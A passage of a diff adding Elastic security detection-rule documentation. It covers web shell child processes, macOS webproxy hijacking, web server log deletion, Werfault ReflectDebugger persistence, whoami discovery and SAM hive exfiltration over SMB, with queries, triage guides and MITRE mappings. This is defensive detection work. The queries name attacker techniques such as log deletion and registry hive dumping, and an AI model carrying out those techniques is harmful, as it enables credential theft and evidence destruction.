potentially indicating attackers executing commands using the web shell. + + +*Possible investigation steps* + + +- Investigate abnormal behaviors observed by the subject process such as network connections, registry or file modifications, and any other spawned child processes. +- Examine the command line to determine which commands or scripts were executed. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and process.args : * and + process.parent.name:("w3wp.exe" or "httpd.exe" or "nginx.exe" or "php.exe" or "php-cgi.exe" or "tomcat.exe" or "ArcSOC.exe") and + ( + process.name : ("cmd.exe" or "cscript.exe" or "powershell.exe" or "pwsh.exe" or "powershell_ise.exe" or "wmic.exe" or "wscript.exe") or + process.name.caseless : ("cmd.exe" or "cscript.exe" or "powershell.exe" or "pwsh.exe" or "powershell_ise.exe" or "wmic.exe" or "wscript.exe") + ) and + not + ( + process.command_line : ( + "cmd.exe /c mode CON" or + "cmd.exe /s /c \"mode CON\"" or + "cmd.exe /c \"mode\"" or + "cmd.exe /s /c \"tput colors 2>&1\"" or + "cmd.exe /s /c \"stty 2> NUL\"" or + "cmd.exe /s /c \"stty 2>&1\"" or + "cmd.exe /c \"stty 2>&1\"" or + "cmd.exe /s /c \"ipconfig /all 2>&1\"" or + "cmd.exe /s /c \"echo '%os%'\"" or + *.\\install\\awk.exe* + ) or + process.args : (\(git or (*artisan* and *queue\:work*) or *rmdir* or "mode CON" or ver or ls or mode or dir) or + + (process.name:cmd.exe and process.parent.args : "c:\\\\xampp\\\\htdocs\\\\open-audit\\\\index.php") or + + (process.name:cmd.exe and process.args:("/V:ON" and "--header-html")) or + + (process.parent.args:"WebCession" and process.args:E\:\\Data\\CLM\\cession\\*.bat) or + + (process.parent.executable :"D:\\AiDKlinik\\php\\php-cgi.exe" and process.args:D\:\\AiDKlinik\\web*) or + + (process.parent.args :"E:/wamp64/bin/apache/apache2.4.62.1" and process.args:node*) or + + (process.parent.name:"php.exe" and process.name:"cmd.exe" and process.args:("/V:ON" and "/E:ON")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-webproxy-settings-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-webproxy-settings-modification.asciidoc new file mode 100644 index 0000000000..be43735565 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-webproxy-settings-modification.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-webproxy-settings-modification]] +=== WebProxy Settings Modification + +Identifies the use of the built-in networksetup command to configure webproxy settings. This may indicate an attempt to hijack web browser traffic for credential access via traffic sniffing or redirection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ +* https://objectivebythesea.com/v2/talks/OBTS_v2_Zohar.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating WebProxy Settings Modification* + + +Web proxy settings in macOS manage how web traffic is routed, often used to enhance security or manage network traffic. Adversaries may exploit these settings to redirect or intercept web traffic, potentially capturing sensitive data like credentials. The detection rule identifies suspicious use of the `networksetup` command to alter proxy settings, excluding known legitimate applications, thus highlighting potential unauthorized modifications indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of the networksetup command with arguments like -setwebproxy, -setsecurewebproxy, or -setautoproxyurl, which indicate an attempt to modify web proxy settings. +- Check the parent process information to ensure it is not one of the known legitimate applications such as /Library/PrivilegedHelperTools/com.80pct.FreedomHelper or /Applications/Fiddler Everywhere.app/Contents/Resources/app/out/WebServer/Fiddler.WebUi. +- Investigate the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Examine recent network traffic logs for unusual patterns or connections that could suggest traffic redirection or interception. +- Look for any additional alerts or logs related to the same host or user that might indicate a broader pattern of suspicious activity. +- Assess the system for any signs of compromise or unauthorized access, such as unexpected user accounts or changes to system configurations. + + +*False positive analysis* + + +- Legitimate applications like FreedomHelper, Fiddler Everywhere, and xpcproxy may trigger the rule when they modify proxy settings. To prevent these from being flagged, ensure they are included in the exclusion list of known applications. +- Network management tools such as Proxyman and Incoggo might also be detected. Add these to the exclusion list to avoid unnecessary alerts. +- Regular system updates or configurations by IT administrators can sometimes involve proxy setting changes. Coordinate with IT to identify these activities and consider adding them to the exclusion criteria if they are routine and verified as safe. +- Automated scripts or maintenance tasks that adjust proxy settings for legitimate reasons should be reviewed and, if deemed non-threatening, excluded from detection to reduce false positives. +- Monitor for any new applications or processes that may need to be added to the exclusion list as part of ongoing security management to ensure the rule remains effective without generating excessive false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes related to the `networksetup` command that are not associated with known legitimate applications. +- Review and reset the web proxy settings on the affected device to their default or intended configuration to ensure no malicious redirection is in place. +- Conduct a thorough scan of the affected system using updated security tools to identify and remove any malware or unauthorized software that may have been installed. +- Analyze logs and network traffic to identify any data that may have been intercepted or exfiltrated, focusing on sensitive information such as credentials. +- Escalate the incident to the security operations team for further investigation and to determine if other systems may be affected. +- Implement enhanced monitoring and alerting for similar activities across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and event.action == "exec" and + process.name == "networksetup" and process.args like~ ("-setwebproxy", "-setsecurewebproxy", "-setautoproxyurl") and + (process.parent.name like~ ("osascript", "bash", "sh", "zsh", "Terminal", "Python*") or (process.parent.code_signature.exists == false or process.parent.code_signature.trusted == false)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-webserver-access-logs-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-webserver-access-logs-deleted.asciidoc new file mode 100644 index 0000000000..c0b7685e4b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-webserver-access-logs-deleted.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-20-webserver-access-logs-deleted]] +=== WebServer Access Logs Deleted + +Identifies the deletion of WebServer access logs. This may indicate an attempt to evade detection or destroy forensic evidence on a system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* winlogbeat-* +* logs-endpoint.events.* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating WebServer Access Logs Deleted* + + +Web server access logs are crucial for monitoring and analyzing web traffic, providing insights into user activity and potential security incidents. Adversaries may delete these logs to cover their tracks, hindering forensic investigations. The detection rule identifies log deletions across various operating systems by monitoring specific file paths, signaling potential attempts at evasion or evidence destruction. + + +*Possible investigation steps* + + +- Review the specific file path where the deletion event was detected to determine which web server's logs were affected, using the file.path field from the alert. +- Check for any recent access or modification events on the affected web server to identify potential unauthorized access or suspicious activity prior to the log deletion. +- Investigate user accounts and processes that had access to the deleted log files around the time of the deletion event to identify potential malicious actors or compromised accounts. +- Correlate the log deletion event with other security alerts or anomalies in the same timeframe to identify patterns or related incidents. +- Examine backup logs or alternative logging mechanisms, if available, to recover deleted information and assess the impact of the log deletion on forensic capabilities. + + +*False positive analysis* + + +- Routine log rotation or maintenance scripts may delete old web server logs. To handle this, identify and exclude these scheduled tasks from triggering alerts by specifying their execution times or associated process names. +- Automated backup processes that move or delete logs after archiving can trigger false positives. Exclude these processes by adding exceptions for the backup software or scripts used. +- Development or testing environments where logs are frequently cleared to reset the environment can cause alerts. Consider excluding these environments by specifying their IP addresses or hostnames. +- System administrators manually deleting logs as part of regular maintenance can be mistaken for malicious activity. Implement a policy to log and approve such actions, and exclude these approved activities from detection. +- Temporary log deletions during server migrations or upgrades might trigger alerts. Document these events and create temporary exceptions during the migration period. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of recent user activity and system changes to identify any unauthorized access or modifications that may have led to the log deletion. +- Restore the deleted web server access logs from backups, if available, to aid in further forensic analysis and investigation. +- Implement enhanced monitoring on the affected system to detect any further attempts at log deletion or other suspicious activities. +- Review and tighten access controls and permissions on log files to ensure only authorized personnel can modify or delete them. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Document the incident, including all actions taken, and update incident response plans to improve future detection and response capabilities. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +file where event.type == "deletion" and + file.path : ("C:\\inetpub\\logs\\LogFiles\\*.log", + "/var/log/apache*/access.log", + "/etc/httpd/logs/access_log", + "/var/log/httpd/access_log", + "/var/www/*/logs/access.log") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-werfault-reflectdebugger-persistence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-werfault-reflectdebugger-persistence.asciidoc new file mode 100644 index 0000000000..4a37075fec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-werfault-reflectdebugger-persistence.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-20-werfault-reflectdebugger-persistence]] +=== Werfault ReflectDebugger Persistence + +Identifies the registration of a Werfault Debugger. Attackers may abuse this mechanism to execute malicious payloads every time the utility is executed with the "-pr" parameter. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 207 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Werfault ReflectDebugger Persistence* + + +Werfault, the Windows Error Reporting service, can be manipulated by attackers to maintain persistence. By registering a ReflectDebugger, adversaries can execute malicious code whenever Werfault is triggered with specific parameters. The detection rule monitors registry changes in key paths associated with ReflectDebugger, alerting on unauthorized modifications indicative of potential abuse. + + +*Possible investigation steps* + + +- Review the registry change event details to identify the specific path modified, focusing on the paths listed in the query: "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger", "\REGISTRY\MACHINE\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger", or "MACHINE\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger". +- Check the timestamp of the registry change event to determine when the modification occurred and correlate it with other suspicious activities or events on the system around the same time. +- Investigate the user account or process responsible for the registry change to assess whether it is a legitimate action or potentially malicious. Look for unusual or unauthorized accounts making the change. +- Examine the system for any recent executions of Werfault with the "-pr" parameter, as this could indicate attempts to trigger the malicious payload. +- Search for any related alerts or logs from data sources such as Elastic Endgame, Elastic Defend, Microsoft Defender for Endpoint, SentinelOne, or Sysmon that might provide additional context or corroborate the suspicious activity. +- Assess the system for any signs of compromise or persistence mechanisms, such as unexpected startup items, scheduled tasks, or other registry modifications that could indicate a broader attack. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify the ReflectDebugger registry key as part of their error reporting configuration. Users can create exceptions for known software vendors by verifying the digital signature of the executable associated with the change. +- System administrators may intentionally configure the ReflectDebugger for debugging purposes. Document and whitelist these changes in the security monitoring system to prevent unnecessary alerts. +- Automated system maintenance tools might interact with the ReflectDebugger registry key. Identify and exclude these tools by correlating the registry changes with scheduled maintenance activities. +- Security software or endpoint protection solutions may alter the ReflectDebugger settings as part of their protective measures. Confirm these changes with the security vendor and add them to the exclusion list if deemed safe. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of malicious code via the Werfault ReflectDebugger. +- Terminate any suspicious processes associated with Werfault that are running with the "-pr" parameter to halt potential malicious activity. +- Remove unauthorized entries from the registry path "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger" to eliminate persistence mechanisms. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection tools to identify and remove any additional malware or malicious artifacts. +- Review and restore any system or application configurations that may have been altered by the attacker to their original state. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for registry changes in the specified paths to detect and respond to similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "ReflectDebugger" + + /* + Full registry key path omitted due to data source variations: + HKLM\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Hangs\\ReflectDebugger + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-whoami-process-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-whoami-process-activity.asciidoc new file mode 100644 index 0000000000..c4a894ec0e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-whoami-process-activity.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-whoami-process-activity]] +=== Whoami Process Activity + +Identifies suspicious use of whoami.exe which displays user, group, and privileges information for the user who is currently logged on to the local system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: Windows Security Event Logs + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Whoami Process Activity* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of the `whoami` utility. Attackers commonly use this utility to measure their current privileges, discover the current user, determine if a privilege escalation was successful, etc. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Related rules* + + +- Account Discovery Command via SYSTEM Account - 2856446a-34e6-435b-9fb5-f8f040bfa7ed + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "whoami.exe" and +( + ( + /* scoped for whoami execution under system privileges */ + ( + ( + user.domain : ("NT *", "* NT", "IIS APPPOOL") and + user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20", "S-1-5-82-*") and + not ?winlog.event_data.SubjectUserName : "*$" and + + /* Sysmon will always populate user.id as S-1-5-18, leading to FPs */ + not event.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) or + (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") + ) and + not ( + process.parent.name : "cmd.exe" and + process.parent.args : ( + "chcp 437>nul 2>&1 & C:\\WINDOWS\\System32\\whoami.exe /groups", + "chcp 437>nul 2>&1 & %systemroot%\\system32\\whoami /user", + "C:\\WINDOWS\\System32\\whoami.exe /groups", + "*WINDOWS\\system32\\config\\systemprofile*" + ) + ) and + not (process.parent.executable : "C:\\Windows\\system32\\inetsrv\\appcmd.exe" and process.parent.args : "LIST") and + not process.parent.executable : ( + "C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe", + "C:\\Program Files\\Cohesity\\cohesity_windows_agent_service.exe" + ) + ) or + process.parent.name : ("wsmprovhost.exe", "w3wp.exe", "wmiprvse.exe", "rundll32.exe", "regsvr32.exe") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-registry-file-creation-in-smb-share.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-registry-file-creation-in-smb-share.asciidoc new file mode 100644 index 0000000000..0f54a87e37 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-registry-file-creation-in-smb-share.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-windows-registry-file-creation-in-smb-share]] +=== Windows Registry File Creation in SMB Share + +Identifies the creation or modification of a medium-size registry hive file on a Server Message Block (SMB) share, which may indicate an exfiltration attempt of a previously dumped Security Account Manager (SAM) registry hive for credential extraction on an attacker-controlled system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Registry File Creation in SMB Share* + + +Dumping registry hives is a common way to access credential information. Some hives store credential material, as is the case for the SAM hive, which stores locally cached credentials (SAM secrets), and the SECURITY hive, which stores domain cached credentials (LSA secrets). Dumping these hives in combination with the SYSTEM hive enables the attacker to decrypt these secrets. + +Attackers can try to evade detection on the host by transferring this data to a system that is not monitored to be parsed and decrypted. This rule identifies the creation or modification of a medium-size registry hive file on an SMB share, which may indicate this kind of exfiltration attempt. + + +*Possible investigation steps* + + +- Investigate other alerts associated with the user/source host during the past 48 hours. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Inspect the source host for suspicious or abnormal behaviors in the alert timeframe. +- Capture the registry file(s) to determine the extent of the credential compromise in an eventual incident response. + + +*False positive analysis* + + +- Administrators can export registry hives for backup purposes. Check whether the user should be performing this kind of activity and is aware of it. + + +*Related rules* + + +- Credential Acquisition via Registry Hive Dumping - a7e7bfa3-088e-4f13-b29e-3986e0e756b8 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system and restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and + /* regf file header */ + file.Ext.header_bytes : "72656766*" and file.size >= 30000 and + process.pid == 4 and user.id : ("S-1-5-21*", "S-1-12-1-*") and + not file.path : ( + "?:\\*\\UPM_Profile\\NTUSER.DAT", + "?:\\*\\UPM_Profile\\NTUSER.DAT.LASTGOODLOAD", + "?:\\*\\UPM_Profile\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat*", + "?:\\Windows\\Netwrix\\Temp\\????????.???.offreg", + "?:\\*\\AppData\\Local\\Packages\\Microsoft.*\\Settings\\settings.dat*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: 